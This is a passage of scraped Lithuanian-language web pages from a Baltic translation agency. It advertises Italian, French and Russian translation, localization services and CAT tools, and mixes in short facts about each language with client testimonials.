i, o, u) ir 16 priebalsių (b, c, d, f, g, h, l, m, n, p, q, r, s, t, v, z). AR SUDĖTINGA ITALŲ KALBA? Kas nėra galvojęs apie italų kalbos mokymąsi? Vien klausydamiesi muzikos italų kalba susidomėsite šia gražia, lyriška ir skambia kalba. Kalbų ekspertai mano, kad italų kalba yra viena lengviausiai išmokstamų kalbų pasaulyje ir nenuostabu, kad ji yra viena populiariausių kalbų, kurias žmonės nori išmokti. Iš esmės, jei italų kalbos mokysitės ne mažiau kaip 24 valandas per savaitę, jums prireiks tik 25 savaičių, kad pasiektumėte šnekamosios kalbos lygį. Italų kalbos tarimas labai paprastas, gražus ir melodingas. Iš esmės žodžiai tariami taip, kaip parašyti. Lengviau mokytis italų kalbos, jei jau kalbate romanų kalba – prancūzų, ispanų ar portugalų. Problemų gali kelti gramatikos ypatumai – italų kalboje kiekvienas žodis turi giminę. Problemų gali kelti gramatikos ypatumai – italų kalboje kiekvienas žodis turi giminę. Taigi, norint išmokti šią gražią kalbą, reikia daug praktikos, dainavimo, poezijos skaitymo, kelionių į Italiją, atsidavimo ir laiko. KUR IR KIEK KALBAMA ITALIŠKAI? Italų kalba yra gimtoji mažiausiai 67 milijonų žmonių visame pasaulyje. Tai oficiali Italijos, Šveicarijos, San Marino ir Vatikano miesto kalba ir viena iš 26 oficialių ir darbo kalbų Europos Sąjungoje. Kroatijoje ir Slovėnijoje ji vartojama kaip mažumos kalba. Didžiausios itališkai kalbančių žmonių diasporos yra Brazilijoje – apie 25 mln. žmonių, Argentinoje – 24 mln. žmonių, JAV – 8 mln. žmonių, Kanadoje – 1,5 mln. žmonių, Urugvajuje – 1,5 mln. žmonių ir Australijoje – šiek tiek mažiau nei 1 mln. žmonių. ITALŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU „Skrivanek Baltic“ profesionalių vertėjų raštu ir žodžiu komanda visose Baltijos šalyse atlieka standartinius dokumentų vertimus, sudėtingus techninius vertimus ir notaro patvirtintus vertimus. „Skrivanek“ taip pat atlieka itališkų tekstų korektūrą ir stilistinį tobulinimą. Žinoma, kalbos ekspertai gali suteikti informacijos apie kultūrinius skirtumus, verslo etiketą, istoriją ir tradicijas. Verslo klientams dažniausiai atliekame šiuos vertimus iš / į italų kalbą: interneto svetainių ir e. parduotuvių turinio vertimus, reklaminių šūkių adaptacijas, bendradarbiavimo sutarčių, teisės aktų, teismo sprendimų ir verslo dokumentų vertimus. Taip pat teikiame nuosekliojo vertimo žodžiu paslaugas verslo ar kitiems pokalbiams, konferencijoms ir kitiems renginiams internetu per „Zoom“ platformą. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. ITALŲ KALBA VERSLUI Italijos geografinė padėtis yra labai svarbi, nes ji yra strateginis logistikos centras ir vartai į bendrąją Europos rinką. Ypač Italijoje labai svarbu mokėti bendrauti tinkama kalba ir gestais. Pagrindiniai itališkų pokalbių bruožai – rankų gestai ir akių kontaktas. Jei atsitrauksite arba laikysitės atokiau, tai gali būti laikoma nedraugišku gestu. Italai dažnai vadovaujasi jausmais, o pasitikėjimas yra labai svarbus geriems verslo santykiams. Susitikimo metu neturėtų būti jaučiama skuba, nes potencialiam verslo partneriui tai gali pasirodyti nemandagu. Būtinai turėtumėte kalbėti apie itališką maistą, meną, madą ar sportą ir jais domėtis. Net jei tai susiję su verslo derybomis. Populiarus juokas – norėdami sustabdyti italo kalbos tėkmę, tiesiog paimkite jo rankas. Jei nekalbate itališkai, prieš pradėdami verslo santykius būtinai turėtumėte apie tai informuoti savo verslo partnerį. Laiške, el. laiške ar pranešime tai turėtų būti aiškiai išdėstyta kalba, kurią galite drąsiai vartoti. Italijos verslininkai dažnai nekalba angliškai ir noriai naudojasi profesionalaus vertėjo paslaugomis. Nors yra italų verslininkų, kurie kalba ir angliškai, ir prancūziškai, italų kalba visada bus dominuojanti. Italas visada įvertins kiekvieną, kuris bando kalbėti jo gimtąja kalba, net jei jis tai daro blogai. Turėtumėte žinoti, kad italų kalbos mokėjimas Italijoje bus raktas į sėkmingus verslo santykius. Už Italijos ribų italų kalba nėra labai svarbi verslo pasaulyje, išskyrus sritis, susijusias su muzika, menu, mokslu ir kulinarija. ITALAI LATVIJOJE 2021 m. Latvija ir Italija paminėjo svarbias sukaktis – diplomatinių santykių užmezgimo šimtmetį ir 30 metų paramos Latvijos nepriklausomybei bei diplomatinių santykių atkūrimo metines. Italija buvo viena iš pirmųjų šalių, 1992 m. Rygoje atidariusi ambasadą. Latvija ir Italija aktyviai bendradarbiauja kultūrinio švietimo srityje, su Italijos aukštosiomis mokyklomis pasirašytos kelios universitetų bendradarbiavimo sutartys pagal Europos Sąjungos programas. Kartu Italijos vyriausybė skiria stipendijas Latvijos studentams studijuoti Italijoje. Latvijos kultūros akademija, Latvijos dailės akademija ir Jazepo Vitolo Latvijos muzikos akademija aktyviai bendradarbiauja su Italijos švietimo įstaigomis. Latvijos aukštosiose mokyklose studijuoja daugiau nei 100 jaunų italų – tiek nuolatinių, tiek tarptautinių studentų mainų programos „Erasmus“ studentų. 2021 m. Latvijos universitete studijavo 66 Italijos piliečiai, iš kurių 23 pasirinko nuolatines įvairių studijų krypčių studijas, o 43 studijavo vieną semestrą kaip „Erasmus“ mainų programos studentai. Daugiausia italų studentų studijuoja Rygos Stradinio universitete. Dieniniame skyriuje studijuoja 96 studentai. Rygos technikos universitete studijuoja beveik 30 italų studentų. Nuo 2005 m. Latvijos kultūros akademijos studijų programoje „Tarptautiniai kultūriniai ryšiai“ yra Latvijos–Italijos tarpkultūrinių ryšių paprogramė. Kultūros srityje Latvijos filmai kasmet pristatomi svarbiausiems Italijos festivaliams – „Venice IFF“, „Rome IFF“, „Trento IFF“, „Trieste IFF“, „Torino IFF“. Bendradarbiavimas gynybos srityje su Italija taip pat tapo daug glaudesnis – Italija dalyvauja NATO Kanados kovinėje grupėje Latvijoje. Italija taip pat periodiškai dalyvauja NATO oro policijos misijoje Baltijos šalyse. SPRENDIMAI, KURIE DAŽNIAUSIAI TEIKIAMI ITALŲ KALBA: įvairių dokumentų vertimas į italų kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainės vertimas; itališkų tekstų korektūra; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu į italų kalbą; individualūs ir grupiniai italų kalbos kursai. ITALŲ KALBOS KOMBINACIJOS: italų–latvių; latvių–italų; italų–lietuvių; lietuvių–italų; estų–italų; italų–estų; anglų–italų; italų–anglų; rusų–italų; italų–rusų; lenkų–italų; italų–lenkų; ukrainiečių–italų; italų–ukrainiečių; čekų–italų; italų–čekų; vokiečių–italų; italų–vokiečių; ispanų–italų; italų–ispanų; prancūzų–italų; italų–prancūzų; italų–rumunų; rumunų–italų; danų–italų; italų–danų; švedų–italų; italų–švedų; norvegų–italų; italų–norvegų; suomių–italų; italų–suomių ir kt. --- > Kalbų sprendimai, susiję su daugiau nei 300 prancūzų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų prancūzų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kokybės ir nuoseklumo garantija, patvirtinta ISO sertifikataisMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. SPRENDIMAI, KURIE DAŽNIAUSIAI TEIKIAMI PRANCŪZŲ KALBA: dokumentų vertimai į prancūzų kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; mašininis vertimas su redagavimu; prancūziškų tekstų korektūra; lokalizacija; Interneto svetainių vertimas į prancūzų kalbą; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu į prancūzų kalbą; prancūzų kalbos kursai. PRANCŪZŲ KALBOS KOMBINACIJOS: latvių–prancūzų; prancūzų–latvių; estų–prancūzų; prancūzų–estų; lietuvių–prancūzų; prancūzų–lietuvių; rusų–prancūzų; prancūzų–rusų; lenkų–prancūzų, prancūzų–lenkų, ukrainiečių–prancūzų, prancūzų–ukrainiečių; čekų–prancūzų; prancūzų–čekų; vokiečių–prancūzų; prancūzų–vokiečių; ispanų–prancūzų; prancūzų–ispanų; danų–prancūzų; prancūzų–danų; italų–prancūzų; prancūzų–italų; anglų–prancūzų; prancūzų–anglų; švedų–prancūzų; prancūzų–švedų; norvegų–prancūzų; prancūzų–norvegų; suomių–prancūzų, prancūzų–suomių ir kt. FAKTAI APIE PRANCŪZŲ KALBĄ Prancūzų kalba priklauso indoeuropiečių kalbų šeimos romanų grupei. Prancūzų kalbos ištakos siekia I a. pr. m. e. Ši kalba išsivystė iš lotynų kalbos, kuria kalbėjo vietiniai dabartinės Prancūzijos gyventojai ir kurią jie perėmė iš romėnų karių po to, kai šie užkariavo šiaurės Galiją Prancūzų kalbos raidai įtakos turėjo vietinės keltų kalbos, kuriomis kalbėjo galų gentys, ir germanų kalbos, kuriomis kalbėjo frankai, apsigyvenę dabartinėje Prancūzijoje po Romos imperijos žlugimo. Prancūzų kalba yra gimtoji maždaug 70 mln. žmonių ir užima 18 vietą pasaulyje ir 11 vietą pagal bendrą prancūzakalbių skaičių (130 mln. ). Prancūzų kalba yra nacionalinė Prancūzijos kalba, kuria kalba didelės bendruomenės Kanadoje, Belgijoje, Šveicarijoje, Liuksemburge, Monake ir Afrikos šalyse, kurios kadaise buvo Prancūzijos kolonijos, kaip Gabonas, Mauritanija, Alžyras, Senegalas, Dramblio Kaulo Krantas ir kt. Ši kalba yra oficiali visų JT agentūrų ir daugumos pagrindinių tarptautinių organizacijų kalba. Prancūzų kalboje naudojama lotynų abėcėlė, kurią sudaro 26 raidės. Kai kurios raidės turi diakritinius ženklus, dažniausiai naudojamus su mažosiomis raidėmis. Jie gali pakeisti raidės tartį arba pakeisti žodžio reikšmę. Prancūzų kalba neturi ženklų, žyminčių ilgumą ir minkštumą. Kai kurie žodžiai rašomi naudojant specialias ligatūras „œ“ (raidės „o“ ir „e“) ir „æ“ (raidės „a“ ir „e“), kurios yra dviejų raidžių derinys viename simbolyje. Prancūzų kalboje prieš daiktavardžius rašomi artikeliai, nurodantys daiktavardžio giminę ir skaičių. Moteriškosios giminės daiktavardžiai vartojami su artikeliu „la“, vyriškosios giminės daiktavardžiai – su artikeliu „le“, tačiau tiek moteriškosios, tiek vyriškosios giminės daugiskaitos daiktavardžiai vartojami su artikeliu „les“. Prancūzų kalboje taip pat vartojamas neapibrėžtasis moteriškosios giminės artikelis „une“ ir vyriškosios giminės artikelis „un“. Pirmieji rašytiniai paminklai prancūzų kalba datuojami X a. Prancūzų kalba turi keletą tarmių, suskirstytų į penkias pagrindines tarmių grupes: centrinę, šiaurės, rytų, vakarų ir pietvakarių. Labiausiai paplitusios šios tarmės: Il de Franso, Normandijos, Puatu, Pikardijos, Valonijos (Belgija), Lotaringijos, Burgundijos ir šveicarų. Šiuolaikinė prancūzų kalba remiasi Il de Franso regiono centrinės prancūzų kalbos dialektu, kurį XVI a. sukūrė karalius François I de Valois (1515–1547 m. ). Kalbos kodas: ISO 639-1: fr. --- > Lokalizacija, vertimas raštu ir žodžiu daugiau nei 110 kalbų! Profesionalus vertimų biuras, turintis 25 metų patirtį. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional INTERNETO SVETAINIŲ VERTIMAS Svetainių vertimas dar niekada nebuvo toks paprastas! Mūsų ekspertai pasiūlys optimalius vertimo ir lokalizavimo sprendimus, kad jūsų svetainė atitiktų konkretaus regiono ar rinkos poreikius ir vietos ypatumus. Susisiekite su mumis GARSO IR VAIZDO FAILŲ LOKALIZAVIMAS Kokybiškas įrašas bet kuria kalba – mūsų ekspertai transkribuos failą ir, patvirtinus rašytinį vertimą, pateiks profesionalų galutinį rezultatą garso arba vaizdo failo formatu. Susisiekite su mumis PROGRAMINĖS ĮRANGOS LOKALIZAVIMAS Tiksli ir preciziška programinė įranga, atitinkanti konkrečios šalies reikalavimus – išversime jūsų programinę įrangą ar programėlę ir užtikrinsime, kad joje būtų atsižvelgta į visus nustatymus, įskaitant teisingą laiko ir datos formatą. Susisiekite su mumis E. MOKYMOSI TURINIO IR SPRENDIMŲ LOKALIZAVIMAS Vis daugiau žmonių visame pasaulyje renkasi mokytis naujų įgūdžių ir žinių internetu, todėl rekomenduojame iš anksto įsitikinti, kad jūsų mokymosi turinys ar e. mokymosi sprendimas yra lokalizuotas bent keliomis populiariausiomis pasaulio ar jūsų regiono kalbomis. Sužinoti daugiau SKAITMENINĖS RINKODAROS TURINIO LOKALIZAVIMAS Skaitmeninė rinkodara, įskaitant svetaines ir pažangias internetinės žiniasklaidos kampanijas, užkariauja klientų širdis ir protus pranešimais virtualioje aplinkoje, o socialiniai tinklai stiprina ryšius su jais. Tradicinis vertimas gali prarasti ypatingą aplinką, dėl kurios jūsų produktas yra unikalus, todėl rinkodaros turinį reikia lokalizuoti. Sužinoti daugiau „GOOGLE ADS“ IR „SEO“ VERTIMAI Daugiakalbystė labai padidina svetainės konkurencingumą. Mūsų ekspertai padės jums lokalizuoti svetainę, laikantis visų dabartinių SEO principų, kad ji būtų rodoma kuo aukščiau natūraliuose paieškos rezultatuose, ir pritaikyti raktinius žodžius „Google Ads“ („AdWords“), kad bet kuris potencialus klientas galėtų lengvai jus rasti. Sužinoti daugiau REIKIA LOKALIZAVIMO? IEŠKOTE KALBOS PAMOKŲ ARBA JUMS REIKIA PATARIMO? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Galime išversti bet ką iš beveik bet kokio elektroninio formato, išsaugodami originalaus dokumento formatavimą. Net ir tais atvejais, kai reikalingos lokalizavimo paslaugos, laikomės kliento nurodymų ir konkrečios programinės įrangos nustatymų. Žinoma, su didžiausiu malonumu. „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairių svetainių ir turinio valdymo sistemų tekstus. Visais atvejais laikomasi profesionalaus požiūrio ir pasirenkamas geriausias sprendimas, kad būtų užtikrintas norimas rezultatas reikiamomis kalbų kombinacijomis. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. TEIKIAME KALBINIUS SPRENDIMUS ĮVAIRIEMS SEKTORIAMS DAUGIAU NEI 300 KALBŲ KOMBINACIJŲ. Anglų kalba Arabų kalba Armėnų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Gruzinų kalba Hindi kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Kinų kalba Lenkų kalba Portugalų kalba Rumunų kalba Suomių kalba Ispanų kalba Vengrų kalba Vokiečių kalba Švedų kalba kitos kalbos Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- > Kalbų sprendimai daugiau nei 300 rusų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų rusų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kokybės ir nuoseklumo garantija, patvirtinta ISO sertifikataisMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME IŠ / Į RUSŲ KALBĄ: dokumentų vertimai į rusų kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; lokalizacija; interneto svetainių vertimas į rusų kalbą; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimai žodžiu į rusų kalbą; rusų kalbos kursai. RUSŲ KALBOS KOMBINACIJOS: latvių–rusų; rusų–latvių; estų–rusų; rusų–estų; lietuvių–rusų; rusų–lietuvių; anglų–rusų; rusų–anglų; lenkų–rusų; rusų–lenkų; ukrainiečių–rusų; rusų–ukrainiečių; čekų–rusų; rusų–čekų; vokiečių–rusų; rusų–vokiečių; ispanų–rusų; rusų–ispanų; prancūzų–rusų; rusų–prancūzų; italų–rusų; rusų–italų; danų–rusų; rusų–danų; švedų–rusų; rusų–švedų; norvegų–rusų; rusų–norvegų; suomių–rusų; rusų–suomių ir kt. FAKTAI APIE RUSŲ KALBĄ Rusų kalba priklauso indoeuropiečių kalbų šeimos slavų grupei. Rusų kalbos ištakos siekia prieš pat VII a. pr. m. e. , kai iki tol protoslavų kalba kalbėjusios gentys kasdieniame bendravime vartojo tris regionines kalbos formas – rytų slavų, vakarų slavų ir pietų slavų. Rytų slavų kalba, arba senoji rusų kalba, buvo vartojama Kijevo Rusios oficialioje komunikacijoje. Rytų slavų kalbos nykimas siejamas su šios senos valstybės žlugimu (XIV a. ). Rusų kalbos raidai reikšminga tai, kad 988 m. Bizantijos vienuolis ir kalbininkas šventasis Kirilas, kuris kartu su broliu Metodijumi skelbė krikščionių tikėjimą, keliavo į Kijevo Rusią. Jo iniciatyva rusų ir kelios kitos slavų kalbos iki šiol rašomos vadinamąja kirilica, kurią vienuolis sukūrė remdamasis Bizantijos imperijoje naudota abėcėle. Po Senovės Rusios žlugimo (apie XIV a. ) ir Aukso ordos įsiveržimų rytų slavų kalba rytų slavų kraštuose suskilo į kelias kalbas, tarp jų ir rusų. Rusų kalba turi dvi pagrindines tarmių grupes: šiaurines „o“ tarmes ir pietines „a“ tarmes. Slavų kraštuose tarp Maskvos ir Sankt Peterburgo išsiskiriama vidurio rusų kalbos tarmė. Rusų literatūrinės kalbos pagrindą sudaro vidurio rusų kalbos tarmė. Nuo 1942 m. rusų kalbos abėcėlė turi 33 raides ir remiasi kirilica. Rusų kalboje yra apie 160 000 žodžių. Rusų kalboje kirtis yra labai svarbus, tačiau nėra vienos taisyklės, kuris skiemuo turėtų būti kirčiuojamas. Kartais kirčio vieta pakeičia žodžio reikšmę. Ivanas Fiodorovas (1520–1583) buvo pirmasis rusų knygų spaustuvininkas ir tipografas, kuris 1564 m. išspausdino pirmąją knygą rusų kalba „Апостол“. 1703 m. gruodžio 16 d. caro Petro Didžiojo įsakymu Rusijoje buvo išleistas pirmasis laikraštis „Ведомости“. 1816 m. Rygoje buvo išleistas pirmasis rusiškas laikraštis dabartinėje Latvijoje – savaitraštis „Российское еженедельное издание в Риге“. Šiuolaikinės rusų literatūrinės kalbos pradininkas buvo vienas garsiausių rusų rašytojų Aleksandras Puškinas. Rusų kalba yra gimtoji maždaug 145 mln. žmonių, todėl ji yra aštunta pagal dydį pasaulyje ir ketvirta didžiausia kalba, kuria kalba 255–280 mln. žmonių. Tai kelių šalių – Baltarusijos, Kazachstano, Kirgizijos ir Rusijos – valstybinė kalba. Nemažai kalbančiųjų yra ir Izraelyje, Latvijoje, Lietuvoje, Moldovoje, Ukrainoje ir kitose šalyse. Pagal gimtakalbių skaičių rusų kalba yra antra pagal paplitimą Latvijoje. Kalbos kodas: ISO 639-1: ru. --- > Vertimo įrankiai (CAT) – tai speciali programinė įranga vertėjams, skirta kokybei ir našumui didinti. Sužinokite apie jų privalumus! - Published: 2022-07-13 - Modified: 2024-06-03 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-riki/ - Translation Priorities: Optional KAS YRA VERTIMO ĮRANKIAI (CAT) Nors kompiuteriai tampa vis galingesni, vertimo procese jie negali konkuruoti su žmonėmis. Tačiau kompiuteriai ir jų programinė įranga yra neatsiejama kasdienio vertėjų darbo dalis. Naudojant vertimo įrankius (CAT) sutrumpėjo laikas, reikalingas vertimui atlikti. Šiuolaikiniai įrankiai taip pat užtikrina nuoseklų terminijos vartojimą, padeda taupyti išlaidas ir teikia kitų privalumų. Vertimo įrankių naudojimas tampa vis populiaresnis, o kai kuriuose sektoriuose netgi būtinas, nes ir vertėjai, ir mūsų klientai įvertino jų veiksmingumą. Vertimo įrankiai – tai specialios vertėjams sukurtos programos, kurios apima ne kompiuterinį ar automatinį vertimą, bet programinę įrangą, padedančią vertėjui vertimo procese. Šie įrankiai gali išsaugoti visus anksčiau išverstus tekstus, todėl dviejų vienodų sakinių niekada nereikės versti daugiau nei vieną kartą. CAT įrankiai gali būti naudojami daugelyje vertimo projektų. Vertimo įrankiai: padeda sukurti tikslią ir klientų patvirtintą terminologiją kiekvienam klientui ar projektui; užtikrina pasikartojimų kaupimą, todėl klientams siūlomi vis kokybiškesni vertimai; taupo vertimo laiką ir išlaidas. Tačiau pasitaiko atvejų, kai CAT įrankių naudoti negalima, pvz. : jei tekstas rašomas ranka; jei vertimo atminties programinė įranga nesuderinama su kliento atsiųsto teksto failo formatu; jei verčiamas dokumentas yra blogai įskaitomas (pvz. , skenuoti PDF failai). Naudojant CAT įrankius vertimo išlaidos apskaičiuojamos remiantis dokumento analize. CAT įrankiai nustato teksto pasikartojimus, taip pat visišką ar dalinį atitikimą esamai, sukauptai vertimo atminčiai. Svarbu tai, kad šių atitikmenų ieškoma ne atskirų žodžių, o sakinių lygmeniu, t. y. visas dokumentas analizuojamas sakinys po sakinio ir lyginamas su kitais dokumento sakiniais bei su anksčiau vertimo atmintyje saugomais sakiniais. Skamba sudėtingai? Atsiųskite mums tekstą su prašymu atlikti analizę vienu iš CAT įrankių ir projekto vadovas mielai atsiųs jums analizę bei atsakys į jūsų klausimus. Mums būtų didelė garbė susitikti su jumis asmeniškai ir išrinkti jums tinkamą CAT įrankį. Pasikartojimai – tai sakiniai, kurie tame pačiame dokumente kartojami du ar daugiau kartų. Jei šis sakinys išverstas vieną kartą, jo nereikia versti dar kartą. Patirtis rodo, kad tokie sakiniai dažniausiai pasitaiko naudotojo vadovuose, teisiniuose dokumentuose, metinėse ataskaitose, sutartyse, produktų aprašymuose ir kituose standartiniuose tekstuose. Be pasikartojimų, taip pat analizuojami įvairūs sutapimai. Vertimo atminties programinė įranga gali palengvinti darbą su beveik bet kurios srities tekstais, ypač jei klientas žino, kad tokius ar panašius tekstus reikės versti ateityje. Vertimo atminties programinė įranga dažniausiai naudojama standartiniams teisiniams tekstams, finansiniams tekstams (metinėms ataskaitoms), techniniams tekstams (techniniams aprašymams, instrukcijoms, naudotojo vadovams) ir farmacijos dokumentams. CAT įrankiai taip pat veiksmingi verčiant tekstą įvairiose svetainėse, nes jie gerai veikia su XML, HTML ir kitais žiniatinklio platformų formatais. „MS Office“ rinkmenos taip pat tinka versti naudojant CAT įrankius, kaip ir paprastos tekstinės rinkmenos (*. txt ). PDF dokumentai paprastai yra netinkami versti su CAT įrankiais, tačiau juos galima specialiai apdoroti ir paruošti darbui su šiais įrankiais. Automatinio vertimo programos sukurtos taip, kad kuo greičiau suprastų verčiamo žodžio, sakinio ar frazės reikšmę, kurią naudotojas gali sužinoti įvesdamas tekstą į programos langą. Populiariausios automatinio vertimo programos, dar vadinamos mašininio vertimo programomis, yra: „Google Translate“, „Bing Translator“, „Pragma“, „Promt“ ir kt. Pastaraisiais metais mašininis vertimas sparčiai tobulėja, tačiau dar negali visiškai pakeisti žmogaus darbo. Mašininis vertimas turi ateitį tam tikruose sektoriuose – tuo neabejoja vertimo įrankių (CAT), į kurias įtrauktos mašininio vertimo funkcijos, kūrėjai. Tačiau šiandien mašininis vertimas negali užtikrinti aukštos kokybės vertimų be žmogaus pagalbos, todėl aukštos kokybės vertimus vis dar galima gauti tik iš profesionalių vertėjų, dirbančių komandose su korektoriais ir kitais specialistais profesionaliose kalbų įmonėse. Pasaulyje naudojamų ir populiarių failų formatų skaičius vis didėja ir keičiasi. Dirbame su įvairiais dokumentų formatais, pvz. , žiniatinklio platformos failais (XTM, HTML, ir kt. ), „MS Office“ failai (PPT, PPTM, PPTX, DOC, DOCX, DOT, XLS, XLSM ir kt. ), „Adobe“ programos failai (MIF, INX, PDD, PSD ir kt. ), taip pat daugeliu kitų formatų. Platesnis failų, kuriuos kasdien verčiame, sąrašas, pateiktas čia. KOKIAS CAT PROGRAMAS NAUDOJAME? Naudojame pažangiausią ir populiariausią pasaulyje programinę įrangą. „Memsource“; „SDL Trados“; „Across“; „Transit NXT“; „Wordfast Pro“ „MemoQ“ „Crowdin“ ir kt. REIKIA VERTIMO? IEŠKOTE KALBOS PAMOKŲ ARBA JUMS REIKIA PATARIMO? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Vertimo raštu, vertimo žodžiu ir kitos kalbų paslaugos visomis populiariausiomis Europos 